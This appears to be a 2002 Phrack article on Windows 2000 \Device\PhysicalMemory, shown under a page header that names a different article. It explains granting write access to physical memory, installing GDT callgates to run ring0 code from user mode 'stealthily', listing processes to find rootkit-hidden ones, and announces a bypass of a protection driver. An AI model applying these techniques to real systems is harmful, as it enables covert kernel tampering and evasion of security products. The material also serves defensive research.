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.:: Execution path analysis: finding kernel rootkits ::.

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Current issue : #59 | Release date : 2002-07-28 | Editor : Phrack Staff
IntroductionPhrack Staff
LoopbackPhrack Staff
LinenoisePhrack Staff
Handling the Interrupt Descriptor Tablekad
Advances in kernel hacking IIpalmers
Defeating Forensic Analysis on Unixthe grugq
Advances in format string exploitationriq & gera
Runtime process infectionanonymous author
Bypassing PaX ASLR protectionTyler Durden
Execution path analysis: finding kernel rootkitsJ.K.Rutkowski
Cuts like a knife, SSHarpstealth
Building ptrace injecting shellcodesanonymous author
Linux/390 shellcode developmentjohnny cyberpunk
Writing linux kernel keyloggerrd
Cryptographic random number generatorsanonymous author
Playing with windows /dev/(k)memcrazylord
Phrack World NewsPhrack Staff
Phrack magazine extraction utilityPhrack Staff
Title : Execution path analysis: finding kernel rootkits
Author : J.K.Rutkowski
                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x3b, Phile #0x10 of 0x12

|=----------------=[ Playing with Windows /dev/(k)mem ]=-----------------=|
|=-----------------------------------------------------------------------=|
|=---------------=[ crazylord <crazylord@minithins.net> ]=---------------=|


1 - Introduction

2 - Introduction to Windows Objects
  2.1 What are they ?
  2.2 Their structure
  2.3 Objects manipulation
  
3 - Introduction to \Device\PhysicalMemory
  3.1 The object
  3.2 Need writing access ?
  
4 - Having fun with \Device\PhysicalMemory
  4.1 Reading/Writing to memory
  4.3 What's a Callgate ?
  4.4 Running ring0 code without the use of Driver
  4.2 Deeper into Process listing
  4.5 Bonus Track
  
5 - Sample code
   5.1 kmem.h
   5.2 chmod_mem.c
   5.3 winkdump.c
   5.2 winkps.c
   5.4 fun_with_ipd.c

6 - Conclusion

7 - References




--[ 1 - Introduction

This papers covers an approch to Windows /dev/kmem linux like object. My 
research has been done on a Windows 2000 professional version that means 
that most of the code supplied with the article should work with all 
Windows 2000 version and is supposed to work with Windows XP with little 
code modification.
Windows 9x/Me are clearly not supported as they are not based on the same 
kernel architecture.


--[ 2 - Introduction to Windows Objects

Windows 2000 implements an object models to provide a way of easy 
manipulating the most basic elements of the kernel. We will briefly see in 
this chapter what are these objects and how we can manipulate them.


----[ 2.1 What are they ?

According to Microsoft, the object manager was designed to meet these goals
   * use named object for easy recognition
   * support POSIX subsystem
   * provide a easy way for manipulating system resources
   * provide a charge mechanism to limit resource used by a process
   * be C2 security compliant :) (C2: Controlled Access Protection)

There are 27 differents objects types:

   * Adapter       * File             * Semaphore
   * Callback      * IoCompletion     * SymbolicLink
   * Controler     * Job              * Thread
   * Desktop       * Key              * Timer
   * Device        * Mutant           * Token
   * Directory     * Port             * Type
   * Driver        * Process          * WaitablePort
   * Event         * Profile          * WindowStation
   * EventPair     * Section          * WmiGuid

Most of these names are explicit enough to understand what's they are 
about. I will just explain some obscure names:
   * an EventPair is just a couple of 2 Event objects.
   * a Mutant also called Mutex is a synchronization mechanism for resource
     access.
   * a Port is used by the LPC (Local Procedure Call) for Inter-Processus 
     Communication.
   * a Section (file mapping) is a region of shared memory.
   * a Semaphore is a counter that limit access to a resource.
   * a Token (Access Token) is the security profile of an object.
   * a WindowStation is a container object for desktop objects.

Objects are organised into a directory structure which looks like this:

   - \
     - ArcName                 (symbolic links to harddisk partitions)
     - NLS                     (sections ...)
     - Driver                  (installed drivers)
     - WmiGuid
     - Device                  (/dev linux like)
       - DmControl
         - RawDmVolumes
       - HarddiskDmVolumes
         - PhysicalDmVolumes
     - Windows
       - WindowStations
     - RPC Control
     - BaseNamedObjects
       - Restricted
     - ??                      (current user directory)
     - FileSystem              (information about installable files system)
     - ObjectTypes             (contains all avaible object types)
     - Security
     - Callback
     - KnownDlls               (Contains sections of most used DLL)

The "??" directory is the directory for the current user and "Device" could
be assimiled as the "/dev" directory on Linux. You can explore these 
structures using WinObj downloadable on Sysinternals web sites (see [1]).


----[ 2.2 Their structure

Each object is composed of 2 parts: the object header and the object body.
Sven B. Schreiber defined most of the non-documented header related 
structures in his book "Windows 2000 Undocumented Secrets". Let's see the
header structure.

---
from w2k_def.h:

typedef struct _OBJECT_HEADER {
/*000*/ DWORD        PointerCount;       // number of references
/*004*/ DWORD        HandleCount;        // number of open handles
/*008*/ POBJECT_TYPE ObjectType;         // pointer to object type struct
/*00C*/ BYTE         NameOffset;         // OBJECT_NAME offset
/*00D*/ BYTE         HandleDBOffset;     // OBJECT_HANDLE_DB offset
/*00E*/ BYTE         QuotaChargesOffset; // OBJECT_QUOTA_CHARGES offset
/*00F*/ BYTE         ObjectFlags;        // OB_FLAG_*
/*010*/ union
        { // OB_FLAG_CREATE_INFO ? ObjectCreateInfo : QuotaBlock
/*010*/    PQUOTA_BLOCK        QuotaBlock;
/*010*/    POBJECT_CREATE_INFO ObjectCreateInfo;
        };
/*014*/ PSECURITY_DESCRIPTOR SecurityDescriptor;
/*018*/ } OBJECT_HEADER, *POBJECT_HEADER;
---

Each offset in the header are negative offset so if you want to find the 
OBJECT_NAME structure from the header structure, you calculate it by doing:
             address = object_header_address - name_offset

OBJECT_NAME structure allows the creator to make the object visible to 
other processes by giving it a name.
OBJECT_HANDLE_DB structure allows the kernel to track who is currently 
using this object.
OBJECT_QUOTA_CHARGES structure defines the resource charges levied against 
a process when accessing this object.
The OBJECT_TYPE structure stocks global informations about the object type 
like default security access, size of the object, default charge levied to 
process using an object of this type, ...

A security descriptor is bound to the object so the kernel can restrict 
access to the object.

Each object type have internal routines quite similar to C++ object 
constructors and destructors:
   * dump method       - maybe for debugging purpose (always NULL)
   * open method       - called when an object handle is opened
   * close method      - called when an object handle is closed
   * delete method     - called when an object is deleted
   * parse method      - called when searching an object in a list of              
                         object
   * security method   - called when reading/writing a protection for the 
                         current object
   * query name method - called when a thread request the name of the         
                         object
   * "ok to close"     - called when a thread is closing a handle

The object body structure totally depends on the object type.
A very few object body structure are documented in the DDK. If you are
interested in these structures you may google :) or take a look at 
chapeaux-noirs home page in the kernel_reversing section (see [4]).


---- [ 2.3 Object manipulation

On the user-mode point of view, objects manipulation is done through the 
standart Windows API. For example, in order to access a file object you can
use fopen()/open() which will call CreateFile(). At this point, we switch 
to kernel-mode (NtCreateFile()) which call IoCreateFile() in ntoskrnl.exe.
As you can see, we still don't know we are manipulating an "object".
By disassembling IoCreateFile(), you will see some function like 
ObOpenObjectByName, ObfDereferenceObject, ...

(By the way you will only see such functions if you have win2k symbols
downloadable on Microsoft DDK web site (see [2]) and disassemblingbwith a
disassembler supporting Windows Symbols files like IDA/kd/Softicevbecause
these functions are not exported.)

Each function's name begining with "Ob" is related to the Object Manager.
So basically, a standart developper don't have to deal with object but we
want to.

All the object manager related function for user-mode are exported by 
ntdll.dll. Here are some examples:
NtCreateDirectoryObject, NtCreateSymbolicLinkObject, NtDuplicateObject,
NtMakeTemporaryObject, NtOpenDirectoryObject, ...
Some of these functions are documented in the MSDN some (most ?) are not.

If you really want to understand the way object works you should better
take a look at the exported function of ntoskrnl.exe beginning with "Ob".
21 functions exported and 6 documented =]

If you want the prototypes of the 15 others, go on the ntifs.h home page
(see [3]) or to chapeaux-noirs web site (see [4]).


--[ 3 - Introduction to \Device\PhysicalMemory

As far as i know, \Device\PhysicalMemory object was discovered by 
Mark Russinovich from Sysinternals (see [1]). He coded the first code using
it : Physmem avaible on his site. Enough greeting :), now we will try to 
understand what is this object used for and what we can do with it.


----[ 3.1 - the object

In order to look at the object information, we are going to need a tool 
like the Microsoft Kernel Debugger avaible in the Microsoft DDK (see [2]).
Ok let's start working ...

Microsoft(R) Windows 2000 Kernel Debugger
Version 5.00.2184.1
Copyright (C) Microsoft Corp. 1981-1999

Symbol search path is: c:\winnt\symbols

Loading Dump File [livekd.dmp]
Full Kernel Dump File

Kernel Version 2195 UP Free
Kernel base = 0x80400000 PsLoadedModuleList = 0x8046a4c0
Loaded kdextx86 extension DLL
Loaded userkdx extension DLL
Loaded dbghelp extension DLL
f1919231 eb30             jmp     f1919263
kd> !object \Device\PhysicalMemory
!object \Device\PhysicalMemory
Object: e1001240  Type: (fd038880) Section
    ObjectHeader: e1001228
    HandleCount: 0  PointerCount: 3
    Directory Object: fd038970  Name: PhysicalMemory
    
The basic object parser from kd (kernel debugger) tells us some information
about it. No need to explain all of these field means, most of them are 
explicit enough if you have readen the article from the beginning if not 
"jmp dword Introduction_to_Windows_Objects".
Ok the interesting thing is that it's a Section type object so that 
clearly mean that we are going to deal with some memory related toy.

Now let's dump the object's header structure.
kd> dd e1001228 L 6
dd e1001228 L 6
e1001228  00000003 00000000 fd038880 12200010
e1001238  00000001 e1008bf8

details:
--> 00000003 : PointerCount = 3
--> 00000000 : HandleCount  = 0
--> fd038880 : pointer to object type = 0xfd038880
--> 12200010 --> 10 : NameOffset
             --> 00 : HandleDBOffset
             --> 20 : QuotaChargeOffset
             --> 12 : ObjectFlags = OB_FLAG_PERMANENT & OB_FLAG_KERNEL_MODE
--> 00000001 : QuotaBlock
--> e1008bf8 : SecurityDescriptor           

Ok the NameOffset exists, well no surprise, this object has a name .. but 
the HandleDBOffset don't. That means that the object doesnt track handle 
assigned to it. The QuotaChargeOffset isn't really interesting and the 
ObjectFlags tell us that this object is permanent and has been created by 
the kernel.
For now nothing very interesting ...

We dump the object's name structure just to be sure we are not going the
wrong way :). (Remember that offset are negative).

kd> dd e1001228-10 L3
dd e1001228-10 L3
e1001218  fd038970 001c001c e1008ae8

--> fd038970 : pointer to object Directory
--> 001c001c --> 001c : UNICODE_STRING.Length
             --> 001c : UNICODE_STRING.MaximumLength
--> e1008ae8 : UNICODE_STRING.Buffer (pointer to wide char string)

kd> du e1008ae8
du e1008ae8
e1008ae8  "PhysicalMemory"

Ok now, let's look at the interesting part, the security descriptor:

kd> !sd e1008bf8
!sd e1008bf8
->Revision: 0x1
->Sbz1    : 0x0
->Control : 0x8004
            SE_DACL_PRESENT
            SE_SELF_RELATIVE
->Owner   : S-1-5-32-544
->Group   : S-1-5-18
->Dacl    :
->Dacl    : ->AclRevision: 0x2
->Dacl    : ->Sbz1       : 0x0
->Dacl    : ->AclSize    : 0x44
->Dacl    : ->AceCount   : 0x2
->Dacl    : ->Sbz2       : 0x0
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[0]: ->AceFlags: 0x0
->Dacl    : ->Ace[0]: ->AceSize: 0x14
->Dacl    : ->Ace[0]: ->Mask : 0x000f001f
->Dacl    : ->Ace[0]: ->SID: S-1-5-18

->Dacl    : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[1]: ->AceFlags: 0x0
->Dacl    : ->Ace[1]: ->AceSize: 0x18
->Dacl    : ->Ace[1]: ->Mask : 0x0002000d
->Dacl    : ->Ace[1]: ->SID: S-1-5-32-544

->Sacl    :  is NULL

In other words that means that the \Device\PhysicalMemory object has this 
following rights:

user SYSTEM: Delete, Change Permissions, Change Owner, Query Data,
             Query State, Modify State
user Administrator: Query Data, Query State

So basically, user Administrator as no right to Write here but user 
SYSTEM do, so that mean that Administrator does too.

You have to notice that in fact THIS IS NOT LIKE /dev/kmem !!
/dev/kmem maps virtual memory on Linux, \Device\PhysicalMemory maps 
physical memory, the right title for this article should be "Playing with 
Windows /dev/mem" as /dev/mem maps physical memory but /dev/kmem sounds
better and much more wellknown :).
As far as i know the Section object body structure hasn't been yet reversed 
as i'm writing the article so we can't analyze it's body.


----[ 3.2 need writing access ?

Ok .. we are user administrator and we want to play with our favourite
Object, what can we do ? As most Windows administrators should know it is
possible to run any process as user SYSTEM using the schedule service.
If you want to be sure that you can, just start the schedule with 
"net start schedule" and then try add a task that launch regedit.exe
c:\>at <when> /interactive regedit.exe
After that try to look at the SAM registry key, if you can, you are user 
SYSTEM otherwise you are still administrator since only user SYSTEM has 
reading rights.

Ok that's fine if we are user Administrator but what's up if we want to 
allow somebody/everyone to write to \Device\PhysicalMemory
(for learning purpose off course).
We just have to add another ACL (access-control list) to this object.
To do this you have to follow these steps:

   1) Open a handle to \Device\PhysicalMemory (NtOpenSection)
   2) Retrieve the security descriptor of it (GetSecurityInfo)
   3) Add Read/Write authorization to the current ACL (SetEntriesInAcl)
   4) Update the security descriptor (SetSecurityInfo)
   5) Close the handle previously opened

see chmod_mem.c sample code.

After having run chmod_mem.exe we dump another time the security descriptor
 of \Device\PhysicalMemory.

kd> !object \Device\PhysicalMemory
!object \Device\PhysicalMemory
Object: e1001240  Type: (fd038880) Section
    ObjectHeader: e1001228
    HandleCount: 0  PointerCount: 3
    Directory Object: fd038970  Name: PhysicalMemory
kd> dd e1001228+0x14 L1
dd e1001228+0x14 L1
e100123c  e226e018
kd> !sd e226e018
!sd e226e018
->Revision: 0x1
->Sbz1    : 0x0
->Control : 0x8004
            SE_DACL_PRESENT
            SE_SELF_RELATIVE
->Owner   : S-1-5-32-544
->Group   : S-1-5-18
->Dacl    :
->Dacl    : ->AclRevision: 0x2
->Dacl    : ->Sbz1       : 0x0
->Dacl    : ->AclSize    : 0x68
->Dacl    : ->AceCount   : 0x3
->Dacl    : ->Sbz2       : 0x0
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[0]: ->AceFlags: 0x0
->Dacl    : ->Ace[0]: ->AceSize: 0x24
->Dacl    : ->Ace[0]: ->Mask : 0x00000002
->Dacl    : ->Ace[0]: ->SID: S-1-5-21-1935655697-436374069-1060284298-500

->Dacl    : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[1]: ->AceFlags: 0x0
->Dacl    : ->Ace[1]: ->AceSize: 0x14
->Dacl    : ->Ace[1]: ->Mask : 0x000f001f
->Dacl    : ->Ace[1]: ->SID: S-1-5-18

->Dacl    : ->Ace[2]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[2]: ->AceFlags: 0x0
->Dacl    : ->Ace[2]: ->AceSize: 0x18
->Dacl    : ->Ace[2]: ->Mask : 0x0002000d
->Dacl    : ->Ace[2]: ->SID: S-1-5-32-544

->Sacl    :  is NULL

Our new Ace (access-control entry) is Ace[0] with a 0x00000002
(SECTION_MAP_WRITE) right.
For more information about Security win32 API see MSDN ([9]).


--[ 4 - Having fun with \Device\PhysicalMemory

Why playing with \Device\PhysicalMemory ? reading, writing, patching memory
i would say. That should be enough :)


----[ 4.1 Reading/Writing to memory

Ok let's start playing...
In order to read/write to \Device\PhysicalMemory, you have do this way:

   1) Open a Handle to the object (NtOpenSection)
   2) Translate the virtual address into a physical address
   3) Map the section to a memory space (NtMapViewOfSection)
   4) Read/Write data where the memory has been mapped
   5) Unmap the section (NtUnmapViewOfSection)
   6) Close the object's Handle (NtClose)
   
Our main problem for now is how to translate the virtual address to a 
physical address. We know that in kernel-mode (ring0), there is a function 
called MmGetPhysicalAddress exported by ntoskrnl.exe which do that.
But we are in ring3 so we have to "emulate" such function. 

---
from ntddk.h
PHYSICAL_ADDRESS MmGetPhysicalAddress(void *BaseAddress);
---

PHYSICAL_ADDRESS is a quad-word (64 bits). At the beginning i wanted to
join with the article the analysis of the assembly code but it's too long.
And as address translation is sort of generic (cpu relative) i only go fast
on this subject.

The low part of the quad-word is passed in eax and the high part in edx.
For virtual to physical address translation we have 2 cases:

 * case 0x80000000 <= BaseAddress < 0xA0000000:
the only thing we need to do is to apply a 0x1FFFF000 mask to the virtual
address.

 * case BaseAddress < 0x80000000 && BaseAddress >= 0xA0000000
This case is a problem for us as we have no way to translate addresses in
this range because we need to read cr3 register or to run non ring3
callable assembly instruction. For more information about Paging on Intel
arch take a look at Intel Software Developer's Manual Volume 3 (see [5]).
EliCZ told me that by his experience we can guess a physical address for
this range by masking the byte offset and keeping a part of the page
directory index. mask: 0xFFFF000.

We can know produce a light version of MmGetPhysicalAddress()

PHYSICAL_MEMORY MyGetPhysicalAddress(void *BaseAddress) {
   if (BaseAddress < 0x80000000 || BaseAddress >= 0xA0000000) {
      return(BaseAddress & 0xFFFF000);
   }
   return(BaseAddress & 0x1FFFF000);
}

The problem with the addresses outside the [0x80000000, 0xA0000000] is that
they can't be guessed with a very good sucess rate.
That's why if you want good results you would rather call the real
MmGetPhysicalAddress(). We will see how to do that in few chapter.

See winkdump.c for sample memory dumper.

After some tests using winkdump i realised that in fact there is another
problem in our *good* range :>. When translating virtual address above
0x877ef000 the physical address is getting above 0x00000000077e0000.
And on my system this is not *possible*:

kd> dd MmHighestPhysicalPage l1
dd MmHighestPhysicalPage l1
8046a04c  000077ef

We can see that the last physical page is locate at 0x0000000077ef0000.
So in fact that means that we can only dump a small section of the memory.
But anyway the goal of this chapter is much more an explaination about
how to start using \Device\PhysicalMemory than to create a *good* memory
dumper. As the dumpable range is where ntoskrnl.exe and HAL.dll (Hardware
Abstraction Layer) are mapped you can still do some stuff like dumping the
syscall table:

kd> ? KeServiceDescriptorTable
? KeServiceDescriptorTable
Evaluate expression: -2142852224 = 8046ab80

0x8046ab80 is the address of the System Service Table structure
which looks like:

typedef struct _SST {
   PDWORD  ServiceTable;           // array of entry points
   PDWORD  CounterTable;           // array of usage counters
   DWORD   ServiceLimit;           // number of table entries
   PBYTE   ArgumentTable;          // array of byte counts
} SST, *PSST;

C:\coding\phrack\winkdump\Release>winkdump.exe 0x8046ab80 16
 *** win2k memory dumper using \Device\PhysicalMemory ***

 Virtual Address       : 0x8046ab80
 Allocation granularity: 65536 bytes
 Offset                : 0xab80
 Physical Address      : 0x0000000000460000
 Mapped size           : 45056 bytes
 View size             : 16 bytes

d8 04 47 80 00 00 00 00  f8 00 00 00 bc 08 47 80  | ..G...........G.

Array of pointers to syscalls: 0x804704d8 (symbol KiServiceTable)
Counter table                : NULL
ServiceLimit                 : 248 (0xf8) syscalls
Argument table               : 0x804708bc (symbol KiArgumentTable)

We are not going to dump the 248 syscalls addresses but just take a look at
some:

C:\coding\phrack\winkdump\Release>winkdump.exe 0x804704d8 12
 *** win2k memory dumper using \Device\PhysicalMemory ***

 Virtual Address       : 0x804704d8
 Allocation granularity: 65536 bytes
 Offset                : 0x4d8
 Physical Address      : 0x0000000000470000
 Mapped size           : 4096 bytes
 View size             : 12 bytes

bf b3 4a 80 6b e8 4a 80  f3 de 4b 80              | ..J.k.J...K.

 * 0x804ab3bf (NtAcceptConnectPort)
 * 0x804ae86b (NtAccessCheck)
 * 0x804bdef3 (NtAccessCheckAndAuditAlarm)

In the next section we will see what are callgates and how we can use them
with \Device\PhysicalMemory to fix problems like our address translation
thing.


----[ 4.2 What's a  Callgate

Callgate are mechanisms that enable a program to execute functions in
higher privilege level than it is. Like a ring3 program could execute ring0
code.
In order to create a Callgate yo must specify:
   1) which ring level you want the code to be executed
   2) the address of the function that will be executed when jumping to   
      ring0
   3) the number of arguments passed to the function

When the callgate is accessed, the processor first performs a privilege
check, saves the current SS, ESP, CS and EIP registers, then it loads the
segment selector and stack pointer for the new stack (ring0 stack) from the
TSS into the SS and ESP registers.
At this point it can switch to the new ring0 stack.
SS and ESP registers are pushed onto the stack, the arguments are copied.
CS and EIP (saved) registers are now pushed onto the stack for the calling
procedure to the new stack. The new segment selector is loaded for the new
code segment and instruction pointer from the callgate is loaded into CS
and EIP registers. Finnaly :) it jumps to the function's address specified
when creating the callgate.

The function executed in ring0 MUST clean its stack once it has finished
executing, that's why we are going to use __declspec(naked) (MS VC++ 6)
when defining the function in our code (similar to __attribute__(stdcall)
for GCC).

---
from MSDN:
__declspec( naked ) declarator

For functions declared with the naked attribute, the compiler generates
code without prolog and epilog code. You can use this feature to write your
own prolog/epilog code using inline assembler code.
---

For more information about callgates look at Intel Software Developer's
Manual Volume 1 (see [5]).

In order to install a Callgate we have 2 choices: or we manually seek a
free entry in the GDT where we can place our Callgate or we use some
undocumented functions of ntoskrnl.exe. But these functions are only
accessible from ring0. It's useless in our case since we are not in ring0
but anyway i will very briefly show you them:

NTSTATUS KeI386AllocateGdtSelectors(USHORT *SelectorArray, 
                                    USHORT nSelectors);
NTSTATUS KeI386ReleaseGdtSelectors(USHORT *SelectorArray, 
                                   USHORT nSelectors);
NTSTATUS KeI386SetGdtSelector(USHORT Selector,
                              PVOID Descriptor);

Their names are explicits enough i think :). So if you want to install a
callgate, first allocate a GDT selector with KeI386AllocateGdtSelectors(),
then set it with KeI386SetGdtSelector. When you are done just release it
with KeI386ReleaseGdtSelectors.

That's interesting but it doesn't fit our need. So we need to set a GDT
selector while executing code in ring3. Here comes \Device\PhysicalMemory.
In the next section i will explain how to use \Device\PhysicalMemory to
install a callgate.


----[ 4.3 Running ring0 code without the use of Driver

First question, "why running ring0 code without the use of Device Driver ?"
Advantages:
   * no need to register a service to the SCM (Service Control Manager).
   * stealth code ;)

Inconvenients:
   * code would never be as stable as if running from a (well coded) device    
     driver.
   * we need to add write access to \Device\PhysicalMemory

So just keep in mind that you are dealing with hell while running ring0
code through \Device\PhysicalMemory =]

Ok now we can write the memory and we know that we can use callgate to run
ring0 so what are you waiting ?
First we need to know what part of the section to map to read the GDT
table. This is not a problem since we can access the global descriptor
table register using "sgdt" assembler instruction.

typedef struct _KGDTENTRY {
   WORD LimitLow; // size in bytes of the GDT
   WORD BaseLow;  // address of GDT (low part)
   WORD BaseHigh; // address of GDT (high part)
} KGDTENTRY, *PKGDTENTRY;

KGDT_ENTRY gGdt;
_asm sgdt gGdt; // load Global Descriptor Table register into gGdt

We translate the Virtual address from BaseLow/BaseHigh to a physical
address and then we map the base address of the GDT table.
We are lucky because even if the GDT table adddress is not in our *wanted*
range, it will be right translated (in 99% cases).

PhysicalAddress = GetPhysicalAddress(gGdt.BaseHigh << 16 | gGdt.BaseLow);

NtMapViewOfSection(SectionHandle,
                   ProcessHandle,
                   BaseAddress,       // pointer to mapped memory
                   0L,
                   gGdt.LimitLow,     // size to map
                   &PhysicalAddress,
                   &ViewSize,         // pointer to mapped size
                   ViewShare,
                   0,                 // allocation type
                   PAGE_READWRITE);   // protection

Finally we loop in the mapped memory to find a free selector by looking at
the "Present" flag of the Callgate descriptor structure.

typedef struct _CALLGATE_DESCRIPTOR {
   USHORT offset_0_15;    // low part of the function address
   USHORT selector;
   UCHAR  param_count :4;
   UCHAR  some_bits   :4;
   UCHAR  type        :4; // segment or gate type
   UCHAR  app_system  :1; // segment descriptor (0) or system segment (1)
   UCHAR  dpl         :2; // specify which privilege level can call it
   UCHAR  present     :1;
   USHORT offset_16_31;   // high part of the function address
} CALLGATE_DESCRIPTOR, *PCALLGATE_DESCRIPTOR;

offset_0_15 and offset_16_31 are just the low/high word of the function
address. The selector can be one of this list:

--- from ntddk.h
#define KGDT_NULL       0
#define KGDT_R0_CODE    8   // <-- what we need (ring0 code)
#define KGDT_R0_DATA    16
#define KGDT_R3_CODE    24
#define KGDT_R3_DATA    32
#define KGDT_TSS        40
#define KGDT_R0_PCR     48
#define KGDT_R3_TEB     56
#define KGDT_VDM_TILE   64
#define KGDT_LDT        72
#define KGDT_DF_TSS     80
#define KGDT_NMI_TSS    88
---

Once the callgate is installed there are 2 steps left to supreme ring0
power: coding our function called with the callgate and call the callgate.

As said in section 4.2, we need to code a function with a ring0
prolog / epilog and we need to clean our stack. Let's take a look at this
sample function:

void __declspec(naked) Ring0Func() { // our nude function :]
   // ring0 prolog
   _asm {
      pushad // push eax,ecx,edx,ebx,ebp,esp,esi,edi onto the stack
      pushfd // decrement stack pointer by 4 and push EFLAGS onto the stack
      cli    // disable interrupt
   }
   
   // execute your ring0 code here ...
   
   // ring0 epilog
   _asm {
      popfd // restore registers pushed by pushfd
      popad // restore registers pushed by pushad
      retf  // you may retf <sizeof arguments> if you pass arguments
   }
}

Pushing all registers onto the stack is the way we use to save all
registers while the ring0 code execution.

1 step left, calling the callgate...
A standart call won't fit as the callgate procedure is located in a
different privilege level (ring0) than the current code privilege level
(ring3).
We are doing to do a "far call" (inter-privilege level call).
So in order to call the callgate you must do like this:

short farcall[3];
farcall[0 --> 1] = offset from the target operand. This is ignored when a
callgate is used according to "IA-32 Intel Architecture Software
Developer's Manual (Volume 2)" (see [5]).

farcall[2] = callgate selector

At this time we can call our callgate using inline assembly.

_asm {
   push arg1
   ...
   push argN
   call fword ptr [farcall]
}

I forgot to mention that as it's a farcall first argument is located at
[ebp+0Ch] in the callgate function.


----[ 4.4 Deeper into Process listing

Now we will see how to list process in the kernel the lowest level we can
do :).
The design goal of creating a Kernel process lister at the lowest level
could be to see process hidden by a rootkit (taskmgr.exe patched, Syscall
hooked, ...).

You remember that Jamirocai song: "Going deeper underground". We will do
the same. Let's see which way we can use to list process.

   - Process32First/Process32Next, the easy documented way (ground level)

   - NtQuerySystemInformation using Class 5, Native API way. Basicly not
     documented but there are many sample on internet (level -1)

   - ExpGetProcessInformation, called internally by
     NtQuerySystemInformation (level -2)

   - Reading the double chained list PsActiveProcessHead (level -3) :p

Ok now we are deep enough.
The double chained list scheme looks like:

APL (f): ActiveProcessLinks.FLink
APL (b): ActiveProcessLinks.BLink

        process1          process2          process3          processN
0x000 |----------|      |----------|      |----------| 
      | EPROCESS |      | EPROCESS |      | EPROCESS |
      |   ...    |      |   ...    |      |   ...    |
0x0A0 |  APL (f) |----->|  APL (f) |----->|  APL (f) |-----> ...
0x0A4 |  APL (b) | \-<--|  APL (b) | \-<--|  APL (b) | \-<-- ...
      |   ...    |      |   ...    |      |   ...    |
      |----------|      |----------|      |----------|


As you can see (well ... my scheme is not that good :/) the next/prev
pointers of the ActiveProcessLinks struct are not _EPROCESS structure
pointers. They are pointing to the next LIST_ENTRY struct. That means that
if we want to retrieve the _EPROCESS structure address, we have to adjust
the pointer.

(look at _EPROCESS struct definition in kmem.h in sample code section)
LIST_ENTRY ActiveProcessLinks is at offset 0x0A0 in _EPROCESS struct:
 --> Flink = 0x0A0
 --> Blink = 0x0A4

So we can quickly create some macros for later use:

#define TO_EPROCESS(_a) ((char *) _a - 0xA0) // Flink to _EPROCESS
#define TO_PID(_a) ((char *) _a - 0x4)       // Flink to UniqueProcessId
#define TO_PNAME(_a) ((char *) _a + 0x15C)   // Flink to ImageFileName

The head of the LIST_ENTRY list is PsActiveProcessHead. You can get its
address with kd for example:

kd> ? PsActiveProcessHead
? PsActiveProcessHead
Evaluate expression: -2142854784 = 8046a180

Just one thing to know. As this List can change very quickly, you may want
to lock it before reading it. Reading ExpGetProcessInformation assembly, we
can see:

   mov     ecx, offset _PspActiveProcessMutex
   call    ds:__imp_@ExAcquireFastMutex@4
   [...]
   mov     ecx, offset _PspActiveProcessMutex
   call    ds:__imp_@ExReleaseFastMutex@4

ExAcquireFastMutex and ExReleaseFastMutex are __fastcall defined so the
arguments are pushed in reverse order (ecx, edx,...). They are exported by
HAL.dll. By the way i don't lock it in winkps.c :)

Ok, first we install a callgate to be able to execute the ring0 function
(MmGetPhysicalAddress and ExAcquireFastMutex/ExReleaseFastMutex if you 
want), then we list the process and finally we remove the callgate.

See winkps.c in sample code section.

Installing the callgate is an easy step as you can see in the sample code.
The hard part is reading the LIST_ENTRY struct. It's kinda strange because
reading a chained list is not supposed to be hard but we are dealing with
physical memory.
First in order to avoid too much use of our callgate we try to use it as
less as we can. Remember, running ring0 code in ring3 is not
*a good thing*.
Problems could happend on the dispatch level where the thread is executed
and second your thread (i think) have a lower priority than a device
driver even if you use SetThreadPriority().

The scheduler base his scheduling on 2 things, the BasePriority of a
process and his Current priority, when you modify thread priority using
win32 API SetThreadPriority(), the current priority is changed but it's
relative to the base priority. And there is no way to change base priority
of a process in ring3.

So in order to prevent mapping the section for every process i map 1mb
section each time i need to map one. I think it's the best choice since
most of the EPROCESS structures are located around 0xfce***** - 0xfcf*****.

C:\coding\phrack\winkps\Release>winkps
 *** win2k process lister ***

Allocation granularity: 65536 bytes
MmGetPhysicalAddress   : 0x804374e0
virtual address of GDT : 0x80036000
physical address of GDT: 0x0000000000036000
Allocated segment      : 3fb
mapped 0xb000 bytes @ 0x00430000 (init Size: 0xa184 bytes)
mapped 0x100000 bytes @ 0x0043e000 (init Size: 0x100000 bytes)
 + 8     System
mapped 0x100000 bytes @ 0x0054e000 (init Size: 0x100000 bytes)
 + 136   smss.exe
 + 160   csrss.exe
 + 156   winlogon.exe
 + 208   services.exe
 + 220   lsass.exe
 + 420   regsvc.exe
 + 436   svchost.exe
 + 480   svchost.exe
 + 524   WinMgmt.exe
mapped 0x100000 bytes @ 0x0065e000 (init Size: 0x100000 bytes)
 + 656   Explorer.exe
 + 764   OSA.EXE
 + 660   mdm.exe
 + 752   cmd.exe
 + 532   msdev.exe
 + 604   ssh.exe
 + 704   Livekd.exe
 + 716   i386kd.exe
 + 448   uedit32.exe
 + 260   winkps.exe

3 sections mapping + 1 for selecting the first entry (process) looks good.
I will just briefly describe the winkps.c but better take time to read the
code.

Flow of winkps.c
 - GetSystemInfo()
   grab Allocation granularity on the system. (used for calculating offset
   on address translation).
   
 - LoadLibrary()
   get the address of MmGetPhysicalAddress in ntoskrnl.exe. This can also
   be done by parsing the PE header.
   
 - NtOpenSection()
   open \Device\PhysicalMemory r/w.
   
 - InstallCallgate()
   Map the section for install/remove callgate and install the callgate  
   using second argument as callgate function.

 - DisplayProcesses()
   main loop. Errors are catched by the execption handler.
   I do this in order to try cleaning the callgate even if there is an
   error like access violation (could happend if bad mapping).
   
- UninstallCallgate()
  Remove the callgate and unmap the mapping of the section.

- NtClose()
  Simply close the opened HANDLE :)

Now it's time you to read the code and try to recode winkdump.c with a
better address translation support using a callgate :>


----[ 4.5 Bonus Track

As far as i know, the only product that try to restrict access to
\Device\PhysicalMemory is "Integrity Protection Driver (IPD)" from Pedestal
Software (see [6]).

---
from README:
    The IPD forbids any process from opening \Device\PhysicalMemory.
---

ok so .. let's say we want to use ipd and we still want to play with
\Device\PhysicalMemory heh :). I don't really know if this product is well-
known but anyway i wanted to bypass its protection.
